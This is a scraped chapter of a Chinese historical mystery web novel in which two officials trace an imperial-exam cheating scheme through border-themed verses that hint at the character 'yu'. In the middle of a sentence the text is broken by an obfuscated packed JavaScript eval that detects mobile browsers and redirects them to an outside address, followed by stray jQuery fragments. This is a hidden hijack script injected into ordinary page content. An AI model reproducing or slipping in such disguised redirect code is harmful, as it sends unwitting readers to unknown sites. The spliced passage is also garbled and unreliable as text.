默认冷灰
24号文字
方正启体

13. 13

作者:李时予本书字数:K更新时间:
    昨夜,张淮清当真在经历司住下了,公廨条件简陋,床都是临时搭建的,睡起来又冷又硬,张淮清辗转到了夜半时分,才朦胧睡去。


    槐序知道张淮清昨夜没怎么睡,在屋外守着门不让人打扰,玄英一大早不知道去哪了,没见着人影。


    槐序靠着墙假寐,有脚步声正向这边靠近,虽然来人特意放轻了步伐,他还是早早地察觉到了。


    他睁开来眼,投向来人。


    徐孟沅一夜未归,李吟桥一早便来经历司寻人,人寻到了,却被她使唤去跑腿。


    李吟桥一身男装,为了不引人注目,她今日没有佩剑,她上下打量槐序一番,“有人让我给里面的人带话,一刻钟后,正厅见。”


    槐序在她面前站好,“你是徐孟沅的手下?还是奴婢?”


    “话已带到。”说完,她转身要走。


    槐序看她走路的方式便知道她是个练家子,方才她不是故意放轻脚步声,而是她一贯这样走路。


    槐序忽然起了别的念头,他刻意发出极重的踏地声,在李吟桥扭头之际抓住了她的肩膀,手上使劲,想把她摔出去。


    不过他的想法落空了,对方按住他的手腕,两人一齐用劲,一时间,两人皆动弹不得。


    李吟桥望进他的眼里,那双狭长的丹凤眼中露着明晃晃的恶意,他就像一个找到了可以捉弄的对象的孩子。


    李吟桥心想:幼稚,不过他既然想玩,她就陪他玩玩。


    槐序的挑衅很成功,他眼瞧着离得很近的那张面无表情的脸上泄露出了一丝极淡的情绪,他还来不及捕捉这情绪,左脚被狠狠踩了一脚。


    他面露痛色,随即右脚踢了出去,与她的撞在一起。


    对方虽是个女人,力气却一点也不输他,几招下来,槐序觉得腿骨发疼。


    李吟桥学的是剑法,很少有机会跟人近身搏斗,她招招都发了狠,再这样下去腿估计要青了,不过她面上却一点不显。


    两人僵持不下,最近的那扇门忽然被打开了。


    张淮清从里面走了出来,他已经换好了官服,“姑娘说的我都听到了,还请带路吧。”


    “糟了。”


    槐序松开手,退回张淮清身后。


    “公子,我……”


    张淮清不看他,自顾自往前走,“回去再罚你。”


    三人到了前厅,徐孟沅已经在那候着了,看到张淮清来了,就让李元铎把人都带上来。


    此次春闱的同考官共十七人,都被带到了堂上,原本还算宽敞的大堂一下子变得拥挤。


    “徐孟沅,你凭什么关我们?”


    说话的是礼部员外郎,他官职不高,却自视清高,一向看不上只懂打打杀杀的武官。


    “大胆,你个从五品小官,也敢直呼我们大人的名讳。”


    李元铎用刀击他的腿弯处,他就直挺挺地朝徐孟沅跪了下去。


    “你,士可杀不可辱,我死也不会跪这祸乱朝纲的佞臣。”


    礼部员外郎一副受了羞辱的小媳妇模样,挣扎着要起身,却因为疼痛只能跪坐在地上,当真是什么颜面都没有了。


    “徐大人,你我好歹同朝为官,还是不要把事情做得太绝了。”


    经人提醒,徐孟沅终于不再冷眼旁观,他示意堂下的锦衣卫把礼部员外郎扶起来。


    她走到刚才说话的人面前,“我没记错的话,你是礼部侍郎余崇源余大人吧,你可是冤枉在下了,是他对我无礼在先,我手下不过是忠心护主。”


    言罢,她后退两步,将众人都纳入她的视线范围内,再开口时已沉了语气,“我今日请诸位来是想请各位大人帮忙,想必春闱舞弊一事,你们都已经知晓了,陛下命我们查清此案,所以还望大家倾力配合才是。”


    “你这是请人帮忙的态度吗?你这分明是把我们当犯人来审,你莫非是怀疑我们与人串通,你有证据吗?”


    质疑声只多不少,这些官员被关了一日,肚中有诸多怨气。


    张淮清此时出面了,说:“各位大人,还请听我一言,我与大家共事半月,自然不会怀疑各位大人,徐大人此举只是为了洗清大家的嫌疑。”


    “哼,你莫不是与她一伙的吧,想用这三言两语就诓骗于我,休想。”


    “就是,我看他们就是一伙的。”


    “好了。”徐孟沅耐心告捷了,“我没闲功夫与你们在这东拉西扯的,若不配合,各位今日怕是走不出这了。”


    “你敢,我要去陛下面前告你,你凭什么关我们。”


    那礼部员外郎不外乎是情绪最为激动的,徐孟沅都怕他背过气去。


    余崇源与徐孟沅和张淮清算起来是平级,也是在场其他官员中官职最高的,他出来主持局面:“各位,还请冷静一些,不妨先听徐大人怎么说。”


    “徐大人,张大人,你们把我们请来,到底需要我们做什么?”


    徐孟沅与张淮清对视一眼,张淮清缓缓开口道:“请各位大人在纸上写几个字。”


    余崇源:“什么字?”


    “便写陶公的《归园田居》中的‘方宅十余亩,草屋□□间。’这一句。”


    “这与舞弊案有何关系?”


    余崇源不知道张淮清葫芦里卖的到底是什么药,写一句诗便能找到线索?


    “李佥事,麻烦给各位大人准备纸笔。”


    “好。”


    说话的人和被吩咐的人都没觉得有什么不对劲,徐孟沅却突然不咸不淡地来了一句:“张大人使唤我的人倒是趁手。”


    张淮清奇怪地瞥了她一眼,“徐大人这是心疼了?”


    徐孟沅刻意地扯着嘴角,“张大人说笑了,我只不过是觉得你似乎太不见外了些。”


    “徐大人要查我马车之时似乎也没跟我见外。”


    “你这是要跟我翻旧账?”


    “我还没这么小气。”


    “……”


    余崇源:“……”


    面前简直就是两位稚子在吵嘴,他抽了抽嘴角,有些没眼看。


    好在李元铎马上将东西都准备好了,堂中却有几秒钟的寂静,没有人做那出头鸟。


    余崇源只好先站了出来,“我先来吧。”


    他提起笔,很快纸上就留下了两行墨迹。写完,他自我欣赏了一番,把笔搁下,退到一旁,让出位置。


    张淮清上前将纸张举起,展示给堂上所有人观看,同时不动声色地观察着众人的神情。


    “余大人的字还真是苍劲有力,接下来轮到哪位大人了?”


    余崇源做了表率后,剩下的人也不再扭捏,不过是写一句诗,有何难?


    待所有人都写完,张淮清让槐序把这些纸张都收起来,朝徐孟沅点头示意。


    徐孟沅:“多谢各位大人的配合,这两日多有打扰,元铎,送各位大人回去吧。”


    “什么?!”


    “这是什么意思?”


    官员们你看看我,我看看你,又觉得荒唐,又不敢相信她就这么放过他们了。


    一时间竟然没人动,明明昨日还因为徐孟沅关他们而破口大骂。


    余崇源慢条斯理地理了理衣袖,一夜未曾好好歇息,是该回府了,他饶有意味地朝张徐二人行了一鞠礼,大步出门去了。


    现在的年轻人,还真是让人看不透啊。


    堂上人都走光后,槐序才不解地问张淮清:“公子,为什么就这么放他们走了,又为什么要让他们写这句诗啊?”


    他把手上的纸张翻来覆去地看,也看不出什么端倪。


    “是啊,大人,属下也不明白,我们这么大费周章的把人带来,就这么放过他们了?”


    李元铎并不是质疑徐孟沅的决定,只是他也看不懂她这么做是为了什么。


    李吟桥立在一旁从始至终都没有开口,不过她也很好奇。


    徐孟沅一副置身事外的看戏模样,“张大人,还是由你来给大家解惑吧。”


    张淮清但笑不语。


    过了一会儿,他领着众人又回到了昨日置放考卷的屋子。


    屋内已经换了好几批人手,仍在不眠不休地对比寻找李域的考卷。


    不过经过一夜的寻找也不是一无所获。


    有一张考卷被另外置于空案之上。


    “这是?”李元铎问出了众人内心的疑问。


    “这便是我见过的那份属于‘李域’的考卷。”


    李元铎拿过张淮清凭记忆写下的内容与面前的卷子进行对比,他竟把内容记下了七八分,李元铎有些不可思议地扫视着他。


    槐序似是能知道李元铎内心所想,他凑过来,颇为自豪地说:“我们家公子可是连中三元的人,这对我们家公子来说算不上什么。”


    “……”


    张淮清不再卖关子,他在旁边的空白纸张上不停地写着什么。


    旁人不自觉地屏住


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966478|177746||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了呼吸,盯着他的手。


    待他放下笔,李元铎才恢复了呼吸。纸面上洋洋洒洒地写了许多大家耳熟能详的诗句,哪怕是李元铎这个粗人也知道,他读了出来:


    ?“分野中峰变,阴晴众壑殊。”?


    ?“绝域阳关道,胡沙与塞尘。”


    ?“驱马击长剑,行役至萧关。”


    “但使龙城飞将在,不教胡马度阴山。”


    “这些都是与边疆征战有关的千古名句,你写这些干嘛?”


    张淮清方才不小心将墨沾到了手上,他正想找槐序要手帕,身后有人比他更快,将一块白色的手帕递到他手中。


    他愣了一下,望向手的主人,她却不看他,要不是手上还握着那手帕,他还以为这是他生出来的幻觉。


    他小声地向她道谢:“多谢。”


    徐孟沅依旧装作没听见,不自在地摸了摸鼻子,怎么手就那样伸了过去。


    好在他没有在意,继续说:“这些都是从这份考卷中摘抄出来的,每一科考题的答卷中都有出现类似的诗句。”


    “这些诗句看似合理,但是每场考试中都出现就显得有些不对劲了,像是特意在提醒什么。你们再想想,这些诗句都指向了什么?”


    “什么啊?”


    槐序左看右看,也看不出所以然。


    “是域。”


    徐孟沅和张淮清异口同声地道出答案。


    “哦,我明白了,有人用这些诗句来传递信息。那么那些同考官中一定有人被收买了,那你为什么要放他们离开,不应该一个个审问才是吗?”


    李元铎既明白又不明白。


    “当然是要钓鱼,没有饵,鱼儿怎么会上钩呢?元铎,你派人跟着他们,若有异常立刻来报。”


    “是,属下明白了。”


    李吟桥:“所以刚才你让那些人写‘方宅十余亩,草屋□□间。’是故意向他们透露你已经知道了卷子中的秘密,其实他们写不写下来并不重要,重要的就是这句诗本身。”


    方宅十余亩,草屋□□间。


    这句诗是域的意向延伸,也可指向李域。


    若是与舞弊案无关之人自然不明白,可若是与此案有关的人稍加思考便会知道症结所在。如若此人心智不坚,当场就会露出什么马脚。就算是他足够沉着冷静,回府之后必然也会有所行动。


    “你还算聪明,只是手下的人却不怎么样。”经过刚才的比试,李吟桥对槐序的印象可谓是糟透了。


    徐孟沅不知道刚才发生的事情,有些讶异李吟桥会说出这话,她这位师姐一向对旁人是不在意的。


    张淮清却有些了然,“刚才槐序对这位姑娘多有冒犯,回去之后我自会惩处他,还请姑娘勿怪,他并无恶意。”


    “叫我李吟桥就好。”


    “我说,你也太小气了吧,虽然是我先动手的,可是你也还手了啊,顶多算扯平了吧。”


    槐序听不得有人说他坏话,尤其还是当着他的面说他不行。


    “你不是我的对手。”


    “那可不一定,我还没用全力。”


    张淮清:“李姑娘不是锦衣卫的人吧。”


    张淮清依旧保持着他如沐春风的微笑,徐孟沅却觉得他的笑容怎么看怎么阴险,“这位是我府中的侍女,之前学过一些功夫,近日锦衣卫人手不够,我便让她来帮我的忙。”


    “如此,李姑娘还真是身手不凡,不知道徐大人是从哪里雇的人?我也想找几个像李姑娘一般身手的侍女。”


    徐孟沅不搭他的腔,“张大人难道是觉得身边的人不得用,想从我这挖人过去,只是不知道张大人给的佣金够不够多,我这侍女可不是一般人能雇得起的。”


    “徐大人多虑了,槐序虽然鲁莽,不过办差还是很尽心的,我并不想夺人所好,只是对李姑娘有些好奇罢了,这样的身手可不像是一般的侍女。”


    “你身边那两位侍从也不像是一般的家丁吧。”


    徐孟沅挑了挑眉,她不似一般姑娘喜欢化淡眉,她的眉毛生来就很浓,不加修饰就给她的脸增添了几分英气。


    挑眉时那张坚毅的面庞便多了一分的灵动。


    “徐大人慧眼。”


    “不过你身边另一个侍从去哪了?”


    徐孟沅这才察觉到哪里不对劲,往常他身边都有两个人形影不离地跟着他。


    “他啊,自然是做他该做的事去了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)